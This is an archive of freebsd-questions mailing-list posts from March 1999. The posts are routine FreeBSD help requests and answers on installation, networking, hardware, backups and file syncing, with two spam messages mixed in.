What: SSL-enable Cyrus imap, Cyrus pop, and imap 
Who: I see this as mainly a design issue because the actually coding
	shouldn't be too bad. 	

Who else: Security auditors, nay-sayers and anyone with a suggestion. 

Thanks, Dave


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From owner-freebsd-questions  Thu Mar 25  7:12:31 1999
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From: "Juan Kuuse" <kuuse@quik.guate.com>
To: <cjclark@home.com>
Cc: "FreeBSD Questions" <freebsd-questions@FreeBSD.ORG>
Subject: Re: "No disks found!" sysinstall problem
Date: Thu, 25 Mar 1999 09:07:51 -0600
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Thanks for the answer!

-----Original Message-----
From: Crist J. Clark <cjc@cc942873-a.ewndsr1.nj.home.com>
To: Juan Kuuse <kuuse@quik.guate.com>
Cc: FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
Date: Wednesday, March 24, 1999 6:39 PM
Subject: Re: "No disks found!" sysinstall problem


>Juan Kuuse wrote,
>> I have a 4 GB disk with win98 on the first 1 GB MSDOS partition,
>> and trying to create a second 1.5 GB partition for FreeBSD, and a third
>> FAT32 partition for windows.
>


>Why do you want two separate MS partitions?
Just to make things easy for myself (following the instructions literally in
'The Complete FreeBSD').
Using sysinstall, I then will change the file system type to FreeBSD.

>
>> fips.exe woun't work for FAT32 partitions, will it?
>


>I thought it did.
I can't make it work, but with Ranish partition manager it works fine.
The advantage with fips is that easier to create a new partition without
blowing the old one.
Good for a newbie like me! :)

>
>> And when I run it, it hangs for a long time at the first "press any
>> key"message,
>> and then follows an error message:
>> "Drive Initialization Failure: Errorcode 5
>> Interrupt 13h 00h returned an error code"
>> and the program ends.
>>
>> So I use part.exe (Ranish Partition manager), where I can create 3
>> partitions.
>> Anyhow, it will not let me modify the win98 partition settings.
>


>What settings are you trying to modify?
The partition size.

>
>> When I try to install FreeBSD, I got the following error message:
>>
>> "No disks found!  Please verify that your disk controller is being
>>  properly probed at boot time.  See the Hardware Guide on the
>>  Documentation menu for clues on diagnosing this type of problem."
>>


>> Is this a problem due to the win98 partition?
>
>Hard to say, maybe you should...
>
>"Please verify that your disk controller is being properly probed at
>boot time."
At boot time, I just see the probing until the hard disk, then the
sysinstall shows up,
without me beeing able to confirm if the HD was probed correctly or not.

>
>What information about your drive scrolls by as the kernel starts up?
>Is your drive IDE or SCSI?
It's an IDE drive.

>
>> I would appreciate some help with this problem!
>
>This is more a 'freebsd-questions' matter. This response and followups
>sent to questions.
>--
>Crist J. Clark                           cjclark@home.com
>
>
>To Unsubscribe: send mail to majordomo@FreeBSD.org
>with "unsubscribe freebsd-newbies" in the body of the message
>



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From owner-freebsd-questions  Thu Mar 25  7:14:59 1999
Delivered-To: freebsd-questions@freebsd.org
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	(envelope-from slayer@rpts.donpac.ru)
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From: "Anton Kondakov" <slayer@rpts.donpac.ru>
To: <freebsd-questions@freebsd.org>
Subject: Raw sockets
Date: Thu, 25 Mar 1999 18:15:20 +0300
Message-ID: <01be76d2$4c6d6500$446897c3@ws.rpts.donpac.ru>
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May I receive TCP packets from raw socket?
This code don't work :(

if ((rs = socket(AF_INET,SOCK_RAW,IPPROTO_TCP))==-1) exit(1);
soc.sin_family = AF_INET;
soc.sin_addr.s_addr = INADDR_ANY;
soc.sin_port = SRC_PORT;
if (!bind(rs,(struct sockaddr *)&soc,sizeof(soc))) exit(1);
buf = malloc(PKT_SIZE);
sz = sizeof(psoc);
p = recvfrom(rs,buf,PKT_SIZE,0,(struct sockaddr *)&psoc,&sz);

P.S. code running under root account (FreeBSD 2.2.8)





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From owner-freebsd-questions  Thu Mar 25  7:16:51 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Sheldon Hearn <sheldonh@iafrica.com>
To: questions@freebsd.org
Subject: VQF player for FreeBSD
Date: Thu, 25 Mar 1999 17:16:26 +0200
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Hi folks,

Has anyone managed to decode VQF compressed audio on FreeBSD? If so, I'd
love to hear about the software you used.

Thanks,
Sheldon.


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From owner-freebsd-questions  Thu Mar 25  7:25:17 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Thu, 25 Mar 1999 09:24:56 -0600 (CST)
From: Mark Tinguely <tinguely@plains.NoDak.edu>
Message-Id: <199903251524.JAA10186@plains.NoDak.edu>
To: questions@FreeBSD.ORG, thefett@negativemass.com
Subject: Re: Changing the IP address on a FreeBSD machine?
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if you are running a desktop machine, it is easier to change the address
in the ifconfig_XX# line of the file /etc/rc.conf (2.2.X) or
/etc/defaults/rc.conf (3.X) and reboot, but that may not be an option
for those running servers. so, if you are changing the IP address of
a RUNNING machine, use:

# ifconfig XX# down delete	# where XX# is the interface name

IMPORTANT: be sure to remove ALL routes including dynamically learned routes,
because if you try to contact these machines while the old routes still exist,
the transmission will use the OLD IP address. IMHO, this is a bug.

route flush does not always remove these routes, so:

# route delete default
# netstat -rn | grep '^###' | awk '{print "route delete " $1}' | /bin/sh
		where ### are your IP network numbers
how you are ready to add the new IP address:
# ifconfig XX# inet ###.###.###.### netmask 255.NNN.NNN.NNN
# route add default ###.###.###.###

--mark.


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From owner-freebsd-questions  Thu Mar 25  7:51:55 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Thu, 25 Mar 1999 08:50:52 -0700 (MST)
From: Brett Taylor <brett@peloton.physics.montana.edu>
To: Chris Silva <ras@interaccess.com>
Cc: Freebsd-Questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: WDM install
In-Reply-To: <000401be769b$0bc7bb40$0a00000a@wildrock>
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Hi,

On Thu, 25 Mar 1999, Chris Silva wrote:

> Does anyone have a clue why wdm can't install under 3.1-R?
> here are the last few lines of the make install of wdm:

The stupid configure file doesn't work.  This has been a problem as far as
I can tell forever.  If someone's gotten this to build they should submit
a PR w/ patches.  The configure script is supposed to find the Window
Maker includes and libs in either /usr/local or /usr/X11R6 (which is where
they're installed from the port).  I don't understand what's wrong, but I
haven't really dug through the configure script.  Note it also doesn't
find the includes right in addition to the libs. 

Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Thu Mar 25  8: 1:46 1999
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Date: Thu, 25 Mar 1999 11:00:23 -0500
To: Greg Black <gjb@comkey.com.au>
From: "Scott I. Remick" <scott@computeralt.com>
Subject: Re: Out of Swap Space hangs system 
Cc: FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
In-Reply-To: <19990325111202.23942.qmail@alpha.comkey.com.au>
References: <4.2.0.32.19990323175122.0370cf00@mail.computeralt.com>
 <Pine.BSF.4.05.9903232021440.76938-100000@gwdu60.gwdg.de>
 <Pine.BSF.4.05.9903232021440.76938-100000@gwdu60.gwdg.de>
 <4.2.0.32.19990323175122.0370cf00@mail.computeralt.com>
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At 06:12 AM 3/25/1999 , you wrote:
>It's impossible to advise you on the basis of the information
>you have provided.

>Most of my current BSD
>boxes have 256 MB of swap whether they need it or not.  Here are
>the results of pstat -s on five of them:

Well, after I read the following:

> It's not a serious problem -- a properly setup Unix system will never
> crash from lack of swap.  I've been running Unix machines for the best
> part of 20 years and never seen a panic from lack of swap.  Some of
> those machines had 0.5 MB of RAM and a single 50 MB disk, supported
> several users in a commercial environment and only ever fell over when
> somebody yanked the power cord.

My interpretation was that 50MB was indeed adequate swap space, and the 
secret lay in other settings elsewhere to handle running out of swap space 
more elegantly (as opposed to crashing).  It seems that from what you're 
saying, a "properly setup Unix system" is one that simply has lots of swap 
space (and/or RAM) configured so that there's never a condition that forces 
you to run out of swap.

I misunderstood where the answer was.  I still must say though that 
throwing more RAM or HDD space at a problem in the hopes of avoiding it 
seems more an answer from the Microsoft textbook and not one I'd expect for 
a unix-based OS.  I don't doubt those of you who say it's difficult to 
program, but it's unfortunate that we have this big hole in our team's 
defenses. :(

Oh well.  I guess now after several years, I can no longer say that our 
unix server has never crashed (I'm pretty much the only pro-unix advocate 
in a company of NT-heads).
-----------------------
Scott I. Remick			scott@computeralt.com
Network and Information		(802)388-7545 ext. 236
Systems Manager			FAX:(802)388-3697
Computer Alternatives, Inc.		http://www.computeralt.com


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From owner-freebsd-questions  Thu Mar 25  8: 2: 0 1999
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Date: Thu, 25 Mar 1999 11:01:01 -0500
From: Richard Dettwyler <rdettwyler@usa.net>
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I need one for my FreeBSD 3.1 (walnut creek edition) Apache 1.3.4+ssl
server.

BTW - In case anyone else has a problem like this...

I had a problem with an HP Kayak XU, which is on the FreeBSD HCL: would
NOT boot the 3.1 CD. This is a Pentium II/300 Dual SCSI with IDE CD ROM.
After a great deal of testing, swapping, etc., I updated the BIOS to the
02/99 release on http://www.support.kayak.hp.com (choose HP Kayak XU -
no number designation - from the drop down list) and get the "system
disk" flash ROM BIOS upgrade. Worked like a charm!

Anyway, do you know of a shopping cart I can use?

Thanks.

Rick Dettwyler
The Hillary Company



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From owner-freebsd-questions  Thu Mar 25  8: 2:54 1999
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From owner-freebsd-questions  Thu Mar 25  8:14:49 1999
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To: Tsung-li Wu <twu2@eos.ncsu.edu>
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Subject: Re: TCP implementation 
In-Reply-To: Your message of "Thu, 25 Mar 1999 00:04:14 EST."
             <36F9C3CD.DCA52589@eos.ncsu.edu> 
From: bmah@CA.Sandia.GOV (Bruce A. Mah)
Reply-To: bmah@CA.Sandia.GOV
X-Face: g~c`.{#4q0"(V*b#g[i~rXgm*w;:nMfz%_RZLma)UgGN&=j`5vXoU^@n5<Pi&akO)o^8;[r
 %l(8ZHlbF`dD>v4:OO)c["!w)nD/!!~e4Sj7LiT'6*wZ83454H""lb{CC%T37O!!'S$S&D}sem7I[A
 2V%N&+
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--==_Exmh_2139944208P
Content-Type: text/plain; charset=us-ascii

If memory serves me right, Tsung-li Wu wrote:

> I was wondering that is TCP-Reno the version of TCP implemented in
> FreeBSD?
> To be more specific, are the mechanisms of slow-start,
> fast-retransmission, and
> fast-recovery implemented in FreeBSD?

Yes to all of the above.

Bruce.







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From owner-freebsd-questions  Thu Mar 25  8:17:56 1999
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    Whom can I speak to about equipping your site with an
interface(“form”) which would create free, personalized e-mail accounts
for you, your visitors, affiliates, and friends? (example: user@x.com).
Hope to hear from you soon.

www.freebsd.org

1-800-241-7431
(716) 855-0421 (fax)
Michelle Rzeszutek
Xcel Communications
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From owner-freebsd-questions  Thu Mar 25  8:23:53 1999
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From: John Reynolds~ <jreynold@sedona.ch.intel.com>
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Date: Thu, 25 Mar 1999 09:23:23 -0700 (MST)
To: freebsd-questions@freebsd.org
Subject: Astra 1220S in 3.1 -- archives inconclusive
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Hello, I searched the archives to see if people had successfully used
the UMAX Astra 1220S scanner with FreeBSD 3.1. The only thing I found was
that somebody had it working with 4.0-current. I saw this post:

> Is anyone using sane with version 3.0.
> I have a umax 1220s scanner which is not recognized but works fine with linux.

but there were no followups to it.

I also found this post:

> CAM is broken, you need to use /dev/pass6.
> 
> Something may be broken in the 1.0 SANE... it doesn't seem to work on
> my system, although 0.74 + my CAM mods does.  I haven't had time to 
> figure out what broke though.

With no followups to it. What is /dev/pass6? Does somebody know what exactly
this poster meant when he said "CAM is broken" and has the broken-ness been
fixed?

So ... is somebody out there currenty using an Astra 1220S scanner with
FreeBSD 3.1? Were there any hoops to jump through to get it working (kernel
configs, patches to CAM, etc.)?

Thanks,

-Jr

-- 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
| John Reynolds               CEG, CCE, Next Generation Flows, HLA          |
| Intel Corporation         MS: CH6-210   Phone: 554-9092   pgr: 868-6512   |
| jreynold@sedona.ch.intel.com  http://www-aec.ch.intel.com/~jreynold/      |
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


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From owner-freebsd-questions  Thu Mar 25  8:40: 0 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Thu, 25 Mar 1999 10:42:22 -0600
From: Oscar Bonilla <obonilla@fisicc-ufm.edu>
To: John Reynolds~ <jreynold@sedona.ch.intel.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Astra 1220S in 3.1 -- archives inconclusive
Message-ID: <19990325104222.E1407@fisicc-ufm.edu>
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On Thu, Mar 25, 1999 at 09:23:23AM -0700, John Reynolds~ wrote:
> 
> Hello, I searched the archives to see if people had successfully used
> the UMAX Astra 1220S scanner with FreeBSD 3.1. The only thing I found was
> that somebody had it working with 4.0-current. I saw this post:
> 

i've had one working with both 3.1-RELEASE and 4.0-CURRENT


> I also found this post:
> 
> > CAM is broken, you need to use /dev/pass6.
> > 
> > Something may be broken in the 1.0 SANE... it doesn't seem to work on
> > my system, although 0.74 + my CAM mods does.  I haven't had time to 
> > figure out what broke though.
> 
> With no followups to it. What is /dev/pass6? Does somebody know what exactly
> this poster meant when he said "CAM is broken" and has the broken-ness been
> fixed?

/dev/pass? is a way to access the scsi device in a "raw" mode. is what the
scanner uses.

> 
> So ... is somebody out there currenty using an Astra 1220S scanner with
> FreeBSD 3.1? Were there any hoops to jump through to get it working (kernel
> configs, patches to CAM, etc.)?
> 

i don't think CAM is broken. sane has a problem tho, there's a problem report
ports/10147 that has a patch to sane that has not been incorporated.
you should apply that patch.

aside from that, just make sure you change the umax.conf file to point to
your pass device.

regards,

-oscar



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From owner-freebsd-questions  Thu Mar 25  8:44: 8 1999
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From: "Christophe HEISER" <c.heiser@genesys.com>
To: <questions@FreeBSD.ORG>
Subject: Use of ASCEND Freeware RADIUS server
Date: Thu, 25 Mar 1999 17:36:29 +0100
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Hello,

I am using ASCEND Freeware RADIUS server provided
with FreeBSD installation CD set on a FreeBSD 2-2-8
server. 

So far, it works perfectly but I am not able to make the
radius daemon to start automatically at system reboot
So I have to log in after reboot and launch it manually.
That's not very efficient...

Does someone know how to launch it automatically via
an initialization script or another mechanism at system
boot ?

Thanks in advance...

Christophe HEISER
Email : c.heiser@genesys.com


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From owner-freebsd-questions  Thu Mar 25  8:44:10 1999
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From: "Christophe HEISER" <c.heiser@genesys.com>
To: <questions@FreeBSD.ORG>
Subject: FreeBSD 3.0 installation on COMPAQ computer
Date: Thu, 25 Mar 1999 17:32:02 +0100
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Hello,

I would like to know if someone succeeded in installing FreeBSD
on a COMPAQ Prosignia VS computer. This computer has the
following features :

	486 DX 33 16 Mb RAM
	EISA motherboard
	embedded COMPAQ SCSI controler
	SCSI hard disk and CDROM
	embedded COMPAQ Ethernet interface

So far I was not able to detect both the SCSI controler and the network
board during installation...

Thanks in advance for any help !!!

Christophe HEISER
Email : c.heiser@genesys.com


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From owner-freebsd-questions  Thu Mar 25  8:44:42 1999
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 Thu, 25 Mar 1999 09:37:00 -0700
From: "Jeff Lush" <jeff@nerdpower.com>
To: <freebsd-questions@freebsd.org>
Subject: Hardware question
Date: Thu, 25 Mar 1999 09:47:53 -0700
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Hello,

Where would someone go to obtain help in diagnosing a possible hardware
problem in FreeBSD 3.1?

Thanks,

Jeff Lush



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From owner-freebsd-questions  Thu Mar 25  9:13:37 1999
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Date: Thu, 25 Mar 1999 09:22:14 -0800
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From: Patrick Vierheilig <patrick@westsound.com>
Subject: Lucent's WaveLan cards & Drivers
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Greetings,

After searching what I believe to be all relevant areas of the archives, I
can't seem to find an answer:

Does the wl0 driver for the pre-802.11 Lucent WaveLan cards work with the
'newer' 802.11 compliant cards?

Thanks!


Sincerely,

Patrick Vierheilig
President
Westsound Communications, Inc.
360.427.0227/888.924.1244


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From owner-freebsd-questions  Thu Mar 25  9:18: 9 1999
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To: "'freebsd-questions@freebsd.org'" <freebsd-questions@freebsd.org>
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Subject: FW: ide timeouts
Date: Thu, 25 Mar 1999 12:19:52 -0500
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running 2.2.8, premio mb with on board ide 
controller.

i randomly get this error.

wd0: interrupt timeout:
wd0: status 58<rdy,seekdone,drq> error 0
wd0: interrupt timeout:

however, the system seems to recover fine from 
the error.

any ideas?

thanks

Peter Brezny
cyber1.net





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From owner-freebsd-questions  Thu Mar 25  9:20:13 1999
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Date: Thu, 25 Mar 1999 11:15:37 -0600
From: Juan Kuuse <kuuse@quik.guate.com>
Organization: Quik Internet Guatemala
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StarOffice problem:

I got the following error message when I try running simage3 (or any
program in the suite):

bash-2.02# simage3
User Install required before simage3 can be run, please wait...
/usr/local/bin/simage3: /usr/local/StarOffice-3.1/linux-x86/bin/setup:
not found
Can't find initialisation script /root/.sd.sh, User Install must be
completed before simage3 can be run.

Anyone's got a solution?

/Juan Kuuse
kuuse@quik.guate.com





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From owner-freebsd-questions  Thu Mar 25  9:29: 1 1999
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Date: Thu, 25 Mar 1999 11:28:04 -0600
From: Chris Costello <chris@holly.dyndns.org>
To: Ferdinand Goldmann <ferdl@atommuell.oeh.uni-linz.ac.at>
Cc: freebsd-questions@freebsd.org
Subject: Re: Ordering 3.1 - The Saga begins
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On Thu, Mar 25, 1999, Chris Costello wrote:
> Changed to freebsd-questions.

  ack!  no I didn't!  Sorry, this time I'll get it right.

> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-stable" in the body of the message
> 


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From owner-freebsd-questions  Thu Mar 25  9:33:20 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Kiril Mitev <kiril@idea.co.uk>
Message-Id: <199903251729.RAA18994@idea.co.uk>
Subject: vinum with MANY parts
To: freebsd-questions@freebsd.org
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Hi All

This is what i am trying to do...
I have 2 disks of 4gb and 2 disks of 8gb, and i am 
trying to make them into 1 big volume...

questions :-)
1. my understanding is that if more than one plex is in
a volume, these plexes (en) become mirrors, right ?

2. so, all 4 disks should be in one plex, right ?

3. i should be able to 'concat' all 4 disks into a plex, right ?

4. is it possible (if yes, how?) to set the equal-sized 
'drives' to be striped ?



TIA

Kiril



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From owner-freebsd-questions  Thu Mar 25  9:43:37 1999
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From: Khetan Gajjar <khetan@link.freebsd.os.org.za>
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Reply-To: Khetan Gajjar <khetan@os.org.za>
To: Branko Kmetec <brane@mra.si>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Web interface for poppassd
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On Thu, 25 Mar 1999, Branko Kmetec wrote:

>I'm looking web interface for poppassd. Any idea?

I use :
<form action="/cgi-bin/change-pass.cgi" method="POST">
Enter your username (all lower case): <BR>
<input type=text name="username" size=20><BR>
<P>
Enter your current password: <BR>
<input type="password" name="oldpasswd" size=20><br>
Select a new password: <BR><input type="password" name="passwd" size=20> <BR>
Re-enter your new password for verification: <BR>
<input type="password" name="passwd1" size=20> <p>
<input type="submit" value="Change Password">
<input type = "reset" value = "Clear Fields">
</form>

with the change-pass.cgi to do this. I've sent this to you in private
mail. Anyone else wanting it please mail me directly.

I would _strongly_ recommend installing poppassd with TCP/Wrappers,
and only allowing access from the web server. It makes it a bit
more secure, and prevents people using something like Eudora to
change their password over potentially insecure lines.

I had to fudge the poppassd to use a script file that had -l as a 
parameter; I'm on a network that uses Kerberos IV.
--- 
Khetan Gajjar       (!kg1779) * khetan@iafrica.com ; khetan@os.org.za
http://www.os.org.za/~khetan  * Talk/Finger khetan@chain.freebsd.os.org.za
FreeBSD enthusiast            * http://www2.za.freebsd.org/
Security-wise, NT is a OS with a "kick me" sign taped to it  



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From owner-freebsd-questions  Thu Mar 25  9:48:15 1999
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From: "Ray Seals" <rayseals@midwestis.com>
To: "Freebsd-Questions" <freebsd-questions@FreeBSD.ORG>
Subject: Dump and Tape Density Settings
Date: Thu, 25 Mar 1999 11:51:31 -0600
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I have been playing around with the dump command and the one thing that I
don't understand is the whole tape density setting thing.  Let me explain.
I have a FreeBSD server with an external tape drive on it.  It's a 4mm drive
with a DDS 90 tape.

My script looks like the following:

dump 0nuf /dev/nrst0 /
dump 0nuf /dev/nrst0 /usr/local/src
dump 0nuf /dev/nrst0 /usr/local/www
mt -f /dev/nrst0 rewind


When the script is started, I get:

DUMP: Date of this level 0 dump: Thu Mar 25 11:24:21 1999
  DUMP: Date of last level 0 dump: the epoch
  DUMP: Dumping /dev/rwd0a (/) to /dev/nrst0
  DUMP: mapping (Pass I) [regular files]
  DUMP: mapping (Pass II) [directories]
  DUMP: estimated 328337 tape blocks on 8.44 tape(s).
  DUMP: dumping (Pass III) [directories]

Then in a minute or so, it asks for another tape.

I know this is due to the tape density or block size settings for my backup
script or is it possible that my tape is not formatted correctly?  These
were not new tapes when I got them.  Can anyone explain or show me were I
can read some more about this?

Thanks,
Ray



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From owner-freebsd-questions  Thu Mar 25 10: 0:17 1999
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Date: Tue, 25 Jun 1996 19:13:48 -0400
From: John Garrison <jeg@visi.net>
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I first sent this before I was a member of the list so I don't know if
it went through.  If it did then I am sorry for repeating.

I just installed FreeBSD on the last 3 gig of my 12 gig hard drive.  (It
came partitioned that way from the factory) I would like to boot it but
pressing F2 just beeps.  I have read the faq and they say that I have to
toggle a field in my bios about "> 1gb support"  but my bios (compaq
presario 5245) does not have such a flag.  the only flags are:

Enhanced IDE
Ultra 33
Primary IDE controller
Secondary IDE controller

Is there anyway at all to boot this from my system without
repartitioning the hard drive.  Windows is to stupid to boot from any
partition but the first, so if I put FreeBSD where it would have to be
Windows would only have like 500 meg.  My main reason for wanting to
keep windows right now is a couple of games I want to keep playing and
about 200 meg of website that I don't want to have to back up to
reinstall on my FreeBSD system.  I am a linux user, that blasted Windows
off of my old computer and haven't regretted it.  I may get tired of
these games and go ahead and back up the website somewhere (its's to be
served right of my computer) then put FreeBSD on the whole drive.  Maybe
WINE will run the games and I can do this sooner.

Anyhow If I can't boot from the hard drive can I get a boot disk
somewhere that will allow me to use the FreeBSD on my computer.  I got
picoBSD but that doens't allow me access to my hard drive.  All the boot
disk instruction assume you already have access to your system which I
don't (I am dying to run gnome on a 400mhz instead of a 90 mhz)  I have
the installation boot disks but that just goes to the install program
and I can't get to my hard drive.

Any help would be greatly appreciated, windows has crashed on me one
time to many!



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From owner-freebsd-questions  Thu Mar 25 10: 7:29 1999
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From: =?iso-8859-1?Q?Markus_D=F6hr?= <doehrm@aubi.de>
To: "'kerberus@inetu.net'" <kerberus@inetu.net>,
	Patrick Gardella <patrick@cre8tivegroup.com>
Cc: freebsd-questions@FreeBSD.ORG,
	Dan Swartzendruber <druber@kersur.net>
Subject: RE: VMware
Date: Thu, 25 Mar 1999 19:05:53 +0100
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> I believe he is using FreeBSD as a client OS to the Host OS=20
> being linux,
> which is what i did on my laptop....... not vice-versa,=20
> FreeBSD being the

sorry guys... I obviously did some confusing...

I have as HOST: Linux-2.2.4
and under this host are running several VMs with

1. SunOS 5.6 (partially working only and VERY slow)
2. FreeBSD 2.2.6 (X does not work currently)
3. NT 4.0 SP3 (works fine)

just to clear up :-)



--
Markus Doehr                    =20
IT Admin                       =20
AUBI Baubeschl=E4ge GmbH         =20
Tel.: +49 6503 917 152         =20
Fax : +49 6503 917 190         =20
e-Mail: doehrm@aubi.de
MD1139-RIPE =20
*************************      =20



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From owner-freebsd-questions  Thu Mar 25 10:38:20 1999
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I have a DEC AlphaPCI 164 motherboard with a 21164a 500mhz Alpha processor.
I also have an Adaptec 2940uw SCSI card, Ensoniq AudioPCI sound card, and a
Matrox Millenium II video board. Is this hardware supported?  Also, is the
Alpha port of FreeBSD fully 64-bit on this platform? What are the pros and
cons of using FreeBSD compared to Linux on this platform?

Thanks,
Eric




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From owner-freebsd-questions  Thu Mar 25 10:43:54 1999
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Hello,

I got this address from your website.  I am looking for websites 
willing to do cross linking or banner ads. We pay well for money 
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If you are not the person responsible for advertising on your website, 
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From owner-freebsd-questions  Thu Mar 25 11: 2: 7 1999
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From: "Wade Buchanan" <Wade.Buchanan@mci.com>
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Subject: Fault Tolerance(Raid), multiprocessor configs, and Clustering
Date: Thu, 25 Mar 1999 12:03:50 -0700
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I know practically nothing about FreeBSD, but I am interested in knowing if
Fault Tolerance and Clustering are supported.  If so, How is the clustering
done, and what types of fault tolerance are supported(such as Raid 5) etc.
Also is FreeBSD multiprocessor capable?  If so how?  Thanks for your time
and help.

Bman



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From owner-freebsd-questions  Thu Mar 25 11: 5:13 1999
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Date: Thu, 25 Mar 1999 11:07:01 -0800 (PST)
From: Keith Woodman <keith@lightningweb.com>
To: Walter Oostendorp <oostendw@worldonline.nl>
Cc: freebsd-questions@FreeBSD.org
Subject: Re: 3.0 - 3.1 make stop
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Well, It works to a point. hehe.   Now I get the same error but with the
atkbd0 instead. Am I too comment out anything after adding the things you
suggest in your mail? And is the splash pseudo-device a requirement in
this?
Is this option.....

 # The syscons console driver (sco color console compatible).
 device                sc0     at isa? tty

To replace this option.........

# syscons is the default console driver, resembling an SCO console
device          sc0     at isa? port "IO_KBD" conflicts tty irq 1 vector
scintr

Or be an addition to the kernel config file? Thank you for all the help.
Keith




	----------------------------------------------------------------------

	Keith Woodman					Technical Coordinator 
	Keith@lightningweb.com				Lightningweb LLC


	      pid 7962 (sniffit), uid 0: exited on signal 10 (core dumped)
	----------------------------------------------------------------------

On Thu, 25 Mar 1999, Walter Oostendorp wrote:

> On Wed, Mar 24, 1999 at 10:55:57AM -0800, Keith Woodman wrote:
> > Have done the make depend. <ooppss forgot it the first time>
> > make depend seems fine. No errors or anything. Then after the make depend
> > I do a make and get a a scrolled screen of syscons errors.
> > to many to list here but here is one of the lines.
> > syscons.0 (.txt+0x5957): undefined reference to "vidsw"
> > 	
> > Gives the same type of error but undefined reference to 
> > 	kbdsw
> > sorry for not giving the scads of output of the error. I assume the basic
> > telling of the error here would be enough. If not I'll post the entire
> > scroll of errors.
> > 
> > Keith
> >
> I had the same problem. Look at the new AT keyboard and vga controller
> and device lines. After adding them all went OK. 
> 
> 
> from my kernel config file:
> 
> 
> # The AT keyboard
> controller	atkbdc0	at isa? port IO_KBD tty
> device		atkbd0 at isa? tty irq 1
> 
> # The video card driver.
> device		vga0	at isa? port ? conflicts
> 
> # Splash screen at start up!  Screen savers require this too.
> pseudo-device	splash
> 
> # The syscons console driver (sco color console compatible).
> device		sc0	at isa? tty
> 
> 
> That solved the problem.
> 
> Regards,
> Walter
> 



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From owner-freebsd-questions  Thu Mar 25 11:13: 8 1999
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Date: Thu, 25 Mar 1999 22:11:52 +1100 (EDT)
From: Andrew MacIntyre <andymac@bullseye.apana.org.au>
To: James Brown <jamesbrown@cwix.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Kingston KNE110TX and de0 compatible?
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On Wed, 24 Mar 1999, James Brown wrote:

> i've got a Kingston KNE110TX ethernet card and FreeBSD 2.2.7.  i noticed
> that the KNE100TX uses the DEC 21140 and should be compatible with the
> de0 device.  i was hoping the 100 and 110 would be similar enough to use
> the same driver and added de0 to my kernel.  it doesn't see the 110.

See if you can ID the chipset on the 110, and then check Bill Paul's list
of tulip-clone drivers (there are a number of them) at
http:/www.freebsd.org/~wpaul

The 110 is almost certainly using one of the clone chipsets.

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andrew.macintyre@aba.gov.au    (work) | Snail: PO Box 370
        andymac@bullseye.apana.org.au  (play) |        Belconnen  ACT  2616
Fido:   Andrew MacIntyre, 3:620/243.18        |        Australia



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From owner-freebsd-questions  Thu Mar 25 11:20:30 1999
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Message-ID: <36FA8C39.A6BCAC3E@tdx.co.uk>
Date: Thu, 25 Mar 1999 19:19:21 +0000
From: Karl Pielorz <kpielorz@tdx.co.uk>
Organization: TDX - The Digital eXchange
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To: Wade Buchanan <Wade.Buchanan@mci.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Fault Tolerance(Raid), multiprocessor configs, and Clustering
References: <003401be76f2$37d17670$0f1f29a6@wbuchanan.mcit.com>
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Wade Buchanan wrote:
> 
> I know practically nothing about FreeBSD, but I am interested in knowing if
> Fault Tolerance and Clustering are supported.  If so, How is the clustering
> done, and what types of fault tolerance are supported(such as Raid 5) etc.

We use individual systems with RAID5 controllers provided by DPT, Vinum will
also provide RAID5 functionality in software (and is in 3.0 onwards)...

As for 'true' clustering 'ala WolfPack etc. - I'm not sure, I remember seeing
a few projects mentioned in the past - maybe someone else will step in with
some info?

Where I work, we tend to get our fault tolerance from the application layers
(e.g. multiple mail exchanges, web servers etc.) - rather than at the
operating system level...

> Also is FreeBSD multiprocessor capable?  If so how?  Thanks for your time
> and help.

FreeBSD from 3.0 onwards is multiprocessor (SMP) capable...

-Kp


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From owner-freebsd-questions  Thu Mar 25 11:31:14 1999
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Date: Thu, 25 Mar 1999 14:36:03 -0500 (EST)
From: Kelly Yancey <kbyanc@alcnet.com>
To: freebsd-questions@freebsd.org
Subject: rdist question
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  I am trying to get files syncronized between a FreeBSD 3.1 machine and a
linux 2.0 machine using rdist and ssh2. I know I have ssh2 configured
correctly because I can use it to login to each system from the other
without specifying a password. However, when I try to get rdist to do it
(in debug mode so I can watch), I get:

$ rdist -v -D -P ssh
lookup(HOSTS, 1, 0x805d050)
lookup(FILES, 1, 0x805d090)
expand(0x805d150, 1)
list = ( kbyanc@alcnet.com )
expanded list = ( kbyanc@alcnet.com )
expand(0x805d100, 3)
list = ( ${FILES} )
lookup(FILES, 0, 0x0)
expanded list = ( resources tools source )
expand(0x805d120, 7)
list = ( ${HOSTS} )
lookup(HOSTS, 0, 0x0)
expanded list = ( kelly@optimus )
doarrow(0x805d1a0, kelly@optimus, 0x805d130)
makeconn(kelly@optimus)
updating host optimus
port = 514, luser = kbyanc, ruser = kelly
buf = rdist -Server
local user = kbyanc remote user = kelly
Remote command = 'rdist -Server'
Remote shell command = 'ssh'
rdist: lost connection
closeconn()


  Is it possible to use rdist with ssh (I should think so)? The machine
I'm running rdist from is FreeBSD 3.1, the machine I'm trying to rdist to
is linux 2.0 (RedHat). I'de just assume replace the linux machine with
FreeBSD if I could, but I can't.....yet :)
  I would really appreciate any help anyone could lend,

  Thanks,

  Kelly
 ~kbyanc@posi.net~




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From owner-freebsd-questions  Thu Mar 25 11:36:54 1999
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To: Brian Somers <brian@Awfulhak.org>
